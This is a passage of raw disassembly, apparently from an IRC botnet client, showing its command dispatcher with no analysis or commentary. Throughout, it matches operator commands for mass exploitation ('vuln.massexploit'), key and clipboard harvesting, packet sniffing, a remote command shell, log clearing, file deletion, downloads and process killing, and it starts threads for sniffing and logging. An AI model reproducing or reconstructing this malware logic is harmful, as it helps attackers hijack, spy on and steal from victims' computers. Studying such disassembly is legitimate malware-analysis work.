dword_42B388 push offset dword_42B37C jmp loc_40C3AE ; --------------------------------------------------------------------------- loc_40C4BA: ; CODE XREF: seg000:0040C4A0j push edi push offset dword_42B36C call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_40C4E3 push dword ptr [ebp+esi-90h] push 0Fh push offset dword_42B360 push offset dword_42B354 jmp loc_40C3AE ; --------------------------------------------------------------------------- loc_40C4E3: ; CODE XREF: seg000:0040C4C9j push edi push offset dword_42B344 call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_40C50C push dword ptr [ebp+esi-90h] push 0Eh push offset dword_42B338 push offset dword_42B32C jmp loc_40C3AE ; --------------------------------------------------------------------------- loc_40C50C: ; CODE XREF: seg000:0040C4F2j push edi push offset aServer_tftp_of ; "server.tftp.off" call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_40C535 push dword ptr [ebp+esi-90h] push 4 push offset aServer ; "Server" push offset dword_42B310 jmp loc_40C3AE ; --------------------------------------------------------------------------- loc_40C535: ; CODE XREF: seg000:0040C51Bj push edi push offset aBox_findfile_o ; "box.findfile.off" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410B1A push edi push offset aBox_ff_off ; "box.ff.off" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410B1A push edi push offset aBox_procs_off ; "box.procs.off" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410B02 push edi push offset aBox_ps_off ; "box.ps.off" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410B02 push edi push offset aClone_off ; "clone.off" call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_40C5B2 push dword ptr [ebp+esi-90h] push 17h push offset aClone ; "Clone" push offset dword_42B2B0 jmp loc_40C3AE ; --------------------------------------------------------------------------- loc_40C5B2: ; CODE XREF: seg000:0040C598j push edi push offset aLockdown_stop ; "lockdown.stop" call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_40C5DB push dword ptr [ebp+esi-90h] push 19h push offset aSecure_0 ; "Secure" push offset dword_42B288 jmp loc_40C3AE ; --------------------------------------------------------------------------- loc_40C5DB: ; CODE XREF: seg000:0040C5C1j push edi push offset aVuln_stop ; "vuln.stop" call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_40C604 push dword ptr [ebp+esi-90h] push 8 push offset aScan ; "Scan" push offset aExploitation ; "Exploitation" jmp loc_40C3AE ; --------------------------------------------------------------------------- loc_40C604: ; CODE XREF: seg000:0040C5EAj push edi push offset aVuln_stats ; "vuln.stats" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410AEC push edi push offset aVuln_st ; "vuln.st" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410AEC push edi push offset aEnz_reh4sh ; "enz.reh4sh" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410ACB push edi push offset aEnz_rh4 ; "enz.rh4" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410ACB push edi push offset aEnz_endt3rm ; "enz.endt3rm" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410AA9 push edi push offset aEnz_et3 ; "enz.et3" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410AA9 push edi push offset aEnz_t3rm1nate ; "enz.t3rm1nate" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410A61 push edi push offset aEnz_t3rm1 ; "enz.t3rm1" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410A61 push edi push offset aEnz_status ; "enz.status" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410A23 push edi push offset aEnz_s ; "enz.s" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410A23 push edi push offset aEnz_id ; "enz.id" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_4109EC push edi push offset aEnz_i ; "enz.i" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_4109EC push edi push offset aBox_rebewt ; "box.rebewt" call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_40C752 call sub_40829B test eax, eax mov eax, offset dword_42B1AC jnz short loc_40C724 mov eax, offset dword_42B174 loc_40C724: ; CODE XREF: seg000:0040C71Dj push eax lea eax, [ebp-2C8h] push eax call sub_4135AD push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_4110B0 add esp, 1Ch jmp loc_40BCFF ; --------------------------------------------------------------------------- loc_40C752: ; CODE XREF: seg000:0040C70Fj push edi push offset aThreads_list ; "threads.list" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_4108FB push edi push offset aThreads_l ; "threads.l" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_4108FB push edi push offset aEnz_aliases ; "enz.aliases" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_4108DB push edi push offset aEnz_al ; "enz.al" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_4108DB push edi push offset aEnz_lo0g ; "enz.lo0g" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_4107EB push edi push offset aEnz_l0g ; "enz.l0g" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_4107EB push edi push offset aUtil_clearlog ; "util.clearlog" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_4107D2 push edi push offset aUtil_clg ; "util.clg" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_4107D2 push edi push offset aBox_netinfo ; "box.netinfo" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_41079B push edi push offset aBox_ni ; "box.ni" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_41079B push edi push offset aBox_sysinfo ; "box.sysinfo" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410770 push edi push offset aSi ; "si" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410770 push edi push offset aEnz_beg01ne ; "enz.beg01ne" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410736 push edi push offset aEnz_010 ; "enz.010" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410736 push edi push offset aBox_procs ; "box.procs" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_41062D push edi push offset aBox_ps ; "box.ps" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_41062D push edi push offset aBox_harvest ; "box.harvest" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410603 push edi push offset aBox_key ; "box.key" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410603 push edi push offset aBox_uptime ; "box.uptime" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_41057F push edi push offset aBox_up ; "box.up" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_41057F push edi push offset aBox_driveinfo ; "box.driveinfo" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410562 push edi push offset aBox_drv ; "box.drv" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410562 push edi push offset aBox_testdlls ; "box.testdlls" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410549 push edi push offset aBox_dll ; "box.dll" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410549 push edi push offset aBox_opencmd ; "box.opencmd" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410502 push edi push offset aBox_ocmd ; "box.ocmd" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410502 push edi push offset aBox_ocmd_off ; "box.ocmd.off" call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_40C99D push dword ptr [ebp+esi-90h] push 7 push offset aRemoteShell ; "Remote shell" push offset aCmd ; "[CMD]" jmp loc_40C3AE ; --------------------------------------------------------------------------- loc_40C99D: ; CODE XREF: seg000:0040C983j push edi push offset aEnz_who ; "enz.who" call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_40CA2A cmp [ebp-8], ebx jnz short loc_40C9CD push ebx push dword ptr [ebp-4] push offset aLoginList ; "-[Login List]-" push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_4110B0 add esp, 14h loc_40C9CD: ; CODE XREF: seg000:0040C9B1j mov edi, [ebp+20h] xor esi, esi loc_40C9D2: ; CODE XREF: seg000:0040CA18j cmp [edi], bl lea eax, [edi+1] jnz short loc_40C9DE mov eax, offset aEmpty ; "<Empty>" loc_40C9DE: ; CODE XREF: seg000:0040C9D7j push eax push esi lea eax, [ebp-2C8h] push offset aD_S ; "%d. %s" push eax call sub_4135AD push 1 lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_4110B0 add esp, 24h inc esi add edi, 80h cmp esi, 2 jl short loc_40C9D2 push offset dword_42AFD4 loc_40CA1F: ; CODE XREF: seg000:004109E7j call sub_409615 pop ecx jmp loc_410E98 ; --------------------------------------------------------------------------- loc_40CA2A: ; CODE XREF: seg000:0040C9ACj push edi push offset aBox_getclip ; "box.getclip" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_4104C1 push edi push offset aBox_gc ; "box.gc" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_4104C1 push edi push offset aUtil_flusharp ; "util.flusharp" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410496 push edi push offset aUtil_farp ; "util.farp" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410496 push edi push offset aUtil_flushdns ; "util.flushdns" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410472 push edi push offset aUtil_fdns ; "util.fdns" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410472 push edi push offset aVuln_currentip ; "vuln.currentip" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410435 push edi push offset aVuln_cip ; "vuln.cip" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_410435 push edi push offset aServer_httpd_o ; "server.httpd.on" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_41029B push edi push offset aServer_web_on ; "server.web.on" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_41029B push edi push offset aServer_tftp_on ; "server.tftp.on" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_41015D push edi push offset aServer_tf_on ; "server.tf.on" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_41015D push edi push offset aVuln_massexplo ; "vuln.massexploit" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40FE5E push edi push offset aVall ; "vall" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40FE5E mov edi, [ebp+esi-90h] cmp edi, ebx jz loc_40B71F push dword ptr [ebp+10h] push offset aEnz_nick ; "enz.nick" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40FE45 push dword ptr [ebp+10h] push offset aEnz_n ; "enz.n" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40FE45 push dword ptr [ebp+10h] push offset aEnz_join ; "enz.join" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40FE25 push dword ptr [ebp+10h] push offset aEnz_j ; "enz.j" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40FE25 push dword ptr [ebp+10h] push offset aEnz_part ; "enz.part" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40FE0C push dword ptr [ebp+10h] push offset aEnz_pt ; "enz.pt" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40FE0C push dword ptr [ebp+10h] push offset aEnz_raw ; "enz.raw" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40FDD5 push dword ptr [ebp+10h] push offset aEnz_r ; "enz.r" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40FDD5 push dword ptr [ebp+10h] push offset aThreads_kill ; "threads.kill" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40FD12 push dword ptr [ebp+10h] push offset aThreads_k ; "threads.k" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40FD12 push dword ptr [ebp+10h] push offset aClone_quit ; "clone.quit" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40FC67 push dword ptr [ebp+10h] push offset aClone_q ; "clone.q" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40FC67 push dword ptr [ebp+10h] push offset aClone_rndnick ; "clone.rndnick" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40FC1C push dword ptr [ebp+10h] push offset aClone_rn ; "clone.rn" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40FC1C push dword ptr [ebp+10h] push offset aEnz_prefix ; "enz.prefix" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40FC07 push dword ptr [ebp+10h] push offset aEnz_pr ; "enz.pr" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40FC07 push dword ptr [ebp+10h] push offset aBox_open ; "box.open" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40FBDD push dword ptr [ebp+10h] push offset aBox_o ; "box.o" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40FBDD push dword ptr [ebp+10h] push offset aEnz_setserve ; "enz.setserve" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40FBB8 push dword ptr [ebp+10h] push offset aEnz_se ; "enz.se" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40FBB8 push dword ptr [ebp+10h] push offset aEnz_dns ; "enz.dns" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40FB56 push dword ptr [ebp+10h] push offset aEnz_dn ; "enz.dn" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40FB56 push dword ptr [ebp+10h] push offset aBox_killprocna ; "box.killprocname" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40FB2A push dword ptr [ebp+10h] push offset aBox_kpn ; "box.kpn" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40FB2A push dword ptr [ebp+10h] push offset aBox_prockillid ; "box.prockillid" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40FACF push dword ptr [ebp+10h] push offset aBox_pkid ; "box.pkid" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40FACF push dword ptr [ebp+10h] push offset aBox_delete ; "box.delete" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40FA98 push dword ptr [ebp+10h] push offset aBox_del ; "box.del" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40FA98 push dword ptr [ebp+10h] push offset aDcc_get ; "dcc.get" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40F9B7 push dword ptr [ebp+10h] push offset aDcc_gt ; "dcc.gt" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40F9B7 push dword ptr [ebp+10h] push offset aBox_filelist ; "box.filelist" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40F99C push dword ptr [ebp+10h] push offset aBox_fl ; "box.fl" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40F99C push dword ptr [ebp+10h] push offset aEnz_visit ; "enz.visit" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40F8BE push dword ptr [ebp+10h] push offset aEnz_v ; "enz.v" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40F8BE push dword ptr [ebp+10h] push offset aMirc_cmd ; "mirc.cmd" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40F883 push dword ptr [ebp+10h] push offset aMirc_cmd ; "mirc.cmd" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40F883 push dword ptr [ebp+10h] push offset aBox_cmd ; "box.cmd" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40F838 push dword ptr [ebp+10h] push offset aBox_cm ; "box.cm" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40F838 push dword ptr [ebp+10h] push offset aBox_readfile ; "box.readfile" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40F7B3 push dword ptr [ebp+10h] push offset aBox_rf ; "box.rf" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40F7B3 push dword ptr [ebp+10h] push offset aSniff ; "sniff" call sub_4139D0 pop ecx test eax, eax pop ecx jnz loc_40D041 push edi push offset aOn ; "on" call sub_4139D0 pop ecx test eax, eax pop ecx jnz loc_40D00C push 18h call sub_4132A1 test eax, eax pop ecx jle short loc_40CF39 push offset unk_42AD2C jmp loc_40D0AD ; --------------------------------------------------------------------------- loc_40CF39: ; CODE XREF: seg000:0040CF2Dj mov eax, [ebp+0Ch] mov esi, [ebp+esi-8Ch] mov [ebp-4DCh], eax mov eax, [ebp-4] mov [ebp-454h], eax mov eax, [ebp-8] cmp esi, ebx mov [ebp-450h], eax jnz short loc_40CF7B mov esi, offset dword_4282E4 push offset byte_42E348 push esi call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_40CF7B mov esi, [ebp-8Ch] loc_40CF7B: ; CODE XREF: seg000:0040CF5Dj ; seg000:0040CF73j push esi lea eax, [ebp-4D8h] push 80h push eax call sub_413B2A lea eax, [ebp-2C8h] push offset unk_42ACE8 push eax call sub_4135AD push ebx lea eax, [ebp-2C8h] push 18h push eax call sub_413059 add esp, 20h mov [ebp-458h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-4DCh] push ebx push eax push offset loc_4024DC push ebx push ebx call ds:dword_41F06C ; CreateThread mov ecx, [ebp-458h] imul ecx, 234h cmp eax, ebx mov ds:dword_4348AC[ecx], eax jz short loc_40CFFB loc_40CFE5: ; CODE XREF: seg000:0040CFF9j cmp [ebp-44Ch], ebx jnz loc_40D1C9 push 32h call ds:dword_41F058 ; Sleep jmp short loc_40CFE5 ; --------------------------------------------------------------------------- loc_40CFFB: ; CODE XREF: seg000:0040CFE3j call ds:dword_41F068 ; RtlGetLastWin32Error push eax push offset unk_42AC98 jmp loc_40D1BA ; --------------------------------------------------------------------------- loc_40D00C: ; CODE XREF: seg000:0040CF1Dj push edi push offset aOff ; "off" call sub_4139D0 pop ecx test eax, eax pop ecx jnz loc_40D1C9 push ebx push 18h call sub_413254 pop ecx cmp eax, ebx pop ecx jle short loc_40D03A push eax push offset unk_42AC48 jmp loc_40D1BA ; --------------------------------------------------------------------------- loc_40D03A: ; CODE XREF: seg000:0040D02Dj push offset unk_42AC0C jmp short loc_40D0AD ; --------------------------------------------------------------------------- loc_40D041: ; CODE XREF: seg000:0040CF08j push dword ptr [ebp+10h] push offset aBox_kog ; "box.kog" call sub_4139D0 pop ecx test eax, eax pop ecx jnz loc_40D1F3 push edi push offset aOn ; "on" call sub_4139D0 pop ecx test eax, eax pop ecx jz short loc_40D0C0 push edi push offset aFile ; "file" call sub_4139D0 pop ecx test eax, eax pop ecx jz short loc_40D0C0 push edi push offset aOff ; "off" call sub_4139D0 pop ecx test eax, eax pop ecx jnz loc_40D1C9 push ebx push 1Ah call sub_413254 pop ecx cmp eax, ebx pop ecx jle short loc_40D0A8 push eax push offset unk_42ABAC jmp loc_40D1BA ; --------------------------------------------------------------------------- loc_40D0A8: ; CODE XREF: seg000:0040D09Bj push offset unk_42AB6C loc_40D0AD: ; CODE XREF: seg000:0040CF34j ; seg000:0040D03Fj ... lea eax, [ebp-2C8h] push eax call sub_4135AD pop ecx pop ecx jmp loc_40D1C9 ; --------------------------------------------------------------------------- loc_40D0C0: ; CODE XREF: seg000:0040D067j ; seg000:0040D078j push 1Ah call sub_4132A1 test eax, eax pop ecx jle short loc_40D0D3 push offset unk_42AB38 jmp short loc_40D0AD ; --------------------------------------------------------------------------- loc_40D0D3: ; CODE XREF: seg000:0040D0CAj mov eax, [ebp+0Ch] push edi mov [ebp-4DCh], eax mov eax, [ebp-4] push offset aFile ; "file" mov [ebp-454h], eax call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_40D102 mov dword ptr [ebp-450h], 1 jmp short loc_40D10B ; --------------------------------------------------------------------------- loc_40D102: ; CODE XREF: seg000:0040D0F4j mov eax, [ebp-8] mov [ebp-450h], eax loc_40D10B: ; CODE XREF: seg000:0040D100j mov esi, [ebp+esi-8Ch] cmp esi, ebx jnz short loc_40D132 mov esi, offset dword_4282E0 push offset byte_42E348 push esi call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_40D132 mov esi, [ebp-8Ch] loc_40D132: ; CODE XREF: seg000:0040D114j ; seg000:0040D12Aj push esi lea eax, [ebp-4D4h] push 80h push eax call sub_413B2A lea eax, [ebp-2C8h] push offset unk_42AB04 push eax call sub_4135AD push ebx lea eax, [ebp-2C8h] push 1Ah push eax call sub_413059 add esp, 20h mov [ebp-4D8h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-4DCh] push ebx push eax push offset sub_4021FB push ebx push ebx call ds:dword_41F06C ; CreateThread mov ecx, [ebp-4D8h] imul ecx, 234h cmp eax, ebx mov ds:dword_4348AC[ecx], eax jz short loc_40D1AE loc_40D19C: ; CODE XREF: seg000:0040D1ACj cmp [ebp-44Ch], ebx jnz short loc_40D1C9 push 32h call ds:dword_41F058 ; Sleep jmp short loc_40D19C ; --------------------------------------------------------------------------- loc_40D1AE: ; CODE XREF: seg000:0040D19Aj call ds:dword_41F068 ; RtlGetLastWin32Error push eax push offset unk_42AAB4 loc_40D1BA: ; CODE XREF: seg000:0040D007j ; seg000:0040D035j ... lea eax, [ebp-2C8h] push eax call sub_4135AD add esp, 0Ch loc_40D1C9: ; CODE XREF: seg000:0040CFEBj ; seg000:0040D01Bj ... cmp [ebp-8], ebx jnz loc_40BCFF push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_4110B0 add esp, 14h jmp loc_40BCFF ; --------------------------------------------------------------------------- loc_40D1F3: ; CODE XREF: seg000:0040D052j push dword ptr [ebp+10h] push offset aBox_net ; "box.net" call sub_4139D0 pop ecx test eax, eax pop ecx jnz loc_40D4C4 cmp ds:dword_42F7D8, ebx jz short loc_40D224 cmp ds:dword_42F800, ebx jz short loc_40D224 push offset dword_42AA60 jmp loc_40D47E ; --------------------------------------------------------------------------- loc_40D224: ; CODE XREF: seg000:0040D210j ; seg000:0040D218j cmp [ebp-0Ch], ebx jz loc_40D48C mov eax, [ebp+esi-8Ch] mov [ebp+8], ebx cmp eax, ebx mov [ebp+20h], eax jz short loc_40D24C push eax push dword ptr [ebp-0Ch] call sub_413B80 pop ecx mov [ebp+8], eax pop ecx loc_40D24C: ; CODE XREF: seg000:0040D23Cj push edi push offset aStart ; "start" call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_40D2B2 cmp [ebp+20h], ebx jz short loc_40D286 push dword ptr [ebp+8] push 3 loc_40D267: ; CODE XREF: seg000:0040D2C8j ; seg000:0040D2E0j ... call sub_41114B push eax lea eax, [ebp-2C8h] push offset aS_1 ; "%s" push eax call sub_4135AD add esp, 14h jmp loc_40D48C ; --------------------------------------------------------------------------- loc_40D286: ; CODE XREF: seg000:0040D260j push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_4113F2 add esp, 0Ch test eax, eax jz short loc_40D2A8 push offset dword_42AA20 jmp loc_40D47E ; --------------------------------------------------------------------------- loc_40D2A8: ; CODE XREF: seg000:0040D29Cj push offset dword_42A9EC jmp loc_40D47E ; --------------------------------------------------------------------------- loc_40D2B2: ; CODE XREF: seg000:0040D25Bj push edi push offset aStop ; "stop" call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_40D2CA push dword ptr [ebp+8] push 4 jmp short loc_40D267 ; --------------------------------------------------------------------------- loc_40D2CA: ; CODE XREF: seg000:0040D2C1j push edi push offset aPause ; "pause" call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_40D2E2 push dword ptr [ebp+8] push 5 jmp short loc_40D267 ; --------------------------------------------------------------------------- loc_40D2E2: ; CODE XREF: seg000:0040D2D9j push edi push offset aContinue ; "continue" call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_40D2FD push dword ptr [ebp+8] push 6 jmp loc_40D267 ; --------------------------------------------------------------------------- loc_40D2FD: ; CODE XREF: seg000:0040D2F1j push edi push offset aDelete ; "delete" call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_40D318 push dword ptr [ebp+8] push 1 jmp loc_40D267 ; --------------------------------------------------------------------------- loc_40D318: ; CODE XREF: seg000:0040D30Cj push edi push offset aShare ; "share" call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_40D395 cmp [ebp+20h], ebx jz short loc_40D368 cmp [ebp-9B0h], bl jz short loc_40D33E push ebx push dword ptr [ebp+20h] push 1 jmp short loc_40D349 ; --------------------------------------------------------------------------- loc_40D33E: ; CODE XREF: seg000:0040D334j push dword ptr [ebp+esi-88h] push dword ptr [ebp+20h] push ebx loc_40D349: ; CODE XREF: seg000:0040D33Cj call sub_41152F push eax lea eax, [ebp-2C8h] push offset aS_1 ; "%s" push eax call sub_4135AD add esp, 18h jmp loc_40D48C ; --------------------------------------------------------------------------- loc_40D368: ; CODE XREF: seg000:0040D32Cj push ebx push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_411724 add esp, 10h test eax, eax jz short loc_40D38B push offset dword_42A98C jmp loc_40D47E ; --------------------------------------------------------------------------- loc_40D38B: ; CODE XREF: seg000:0040D37Fj push offset dword_42A958 jmp loc_40D47E ; --------------------------------------------------------------------------- loc_40D395: ; CODE XREF: seg000:0040D327j push edi push offset aUser ; "user" call sub_4139D0 pop ecx test eax, eax pop ecx jnz loc_40D431 mov eax, [ebp+20h] cmp eax, ebx jz short loc_40D40A cmp [ebp-9B0h], bl jz short loc_40D3CB push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] push ebx push eax push 1 jmp short loc_40D3EB ; --------------------------------------------------------------------------- loc_40D3CB: ; CODE XREF: seg000:0040D3B7j push dword ptr [ebp-4] mov esi, [ebp+esi-88h] cmp esi, ebx push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] jz short loc_40D3E7 push esi push eax push ebx jmp short loc_40D3EB ; --------------------------------------------------------------------------- loc_40D3E7: ; CODE XREF: seg000:0040D3E0j push ebx push eax push 2 loc_40D3EB: ; CODE XREF: seg000:0040D3C9j ; seg000:0040D3E5j call sub_411845 push eax lea eax, [ebp-2C8h] push offset aS_1 ; "%s" push eax call sub_4135AD add esp, 24h jmp loc_40D48C ; --------------------------------------------------------------------------- loc_40D40A: ; CODE XREF: seg000:0040D3AFj push ebx push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_411D59 add esp, 10h test eax, eax jz short loc_40D42A push offset dword_42A91C jmp short loc_40D47E ; --------------------------------------------------------------------------- loc_40D42A: ; CODE XREF: seg000:0040D421j push offset dword_42A8EC jmp short loc_40D47E ; --------------------------------------------------------------------------- loc_40D431: ; CODE XREF: seg000:0040D3A4j push edi push offset aSend ; "send" call sub_4139D0 pop ecx test eax, eax pop ecx jnz short loc_40D479 cmp [ebp+20h], ebx jz short loc_40D472 push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call loc_41200D push eax lea eax, [ebp-2C8h] push offset aS_1 ; "%s" push eax call sub_4135AD add esp, 1Ch jmp short loc_40D48C ; --------------------------------------------------------------------------- loc_40D472: ; CODE XREF: seg000:0040D445j push offset dword_42A8B8 jmp short loc_40D47E ; --------------------------------------------------------------------------- loc_40D479: ; CODE XREF: seg000:0040D440j push offset dword_42A888 loc_40D47E: ; CODE XREF: seg000:0040D21Fj ; seg000:0040D2A3j ... lea eax, [ebp-2C8h] push eax call sub_4135AD pop ecx pop ecx loc_40D48C: ; CODE XREF: seg000:0040D227j ; seg000:0040D281j ... cmp [ebp-8], ebx jnz short loc_40D4AD push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_4110B0 add esp, 14h loc_40D4AD: ; CODE XREF: seg000:0040D48Fj ; seg000:0040F828j ... mov esi, [ebp+2Ch] loc_40D4B0: ; CODE XREF: seg000:0040BD02j ; seg000:0040FB03j ... lea eax, [ebp-2C8h] push eax call sub_409615 pop ecx mov eax, esi jmp loc_40B722 ; --------------------------------------------------------------------------- loc_40D4C4: ; CODE XREF: seg000:0040D204j push dword ptr [ebp+10h] push offset aEnz_gethost ; "enz.gethost" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40F6CF push dword ptr [ebp+10h] push offset aEnz_gh ; "enz.gh" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40F6CF mov eax, [ebp+esi-8Ch] cmp eax, ebx mov [ebp+20h], eax jz loc_40B71F push dword ptr [ebp+10h] push offset aEnz_addalias ; "enz.addalias" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40F690 push dword ptr [ebp+10h] push offset aEnz_aa ; "enz.aa" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40F690 push dword ptr [ebp+10h] push offset aEnz_privmsg ; "enz.privmsg" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40F63D push dword ptr [ebp+10h] push offset aEnz_pm ; "enz.pm" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40F63D push dword ptr [ebp+10h] push offset aEnz_action ; "enz.action" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40F5CF push dword ptr [ebp+10h] push offset aEnz_ac ; "enz.ac" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40F5CF push dword ptr [ebp+10h] push offset aEnz_cycle ; "enz.cycle" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40F56C push dword ptr [ebp+10h] push offset aEnz_cy ; "enz.cy" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40F56C push dword ptr [ebp+10h] push offset aEnz_mode ; "enz.mode" call sub_4139D0 pop ecx test eax, eax pop ecx jz loc_40F52D push dword ptr 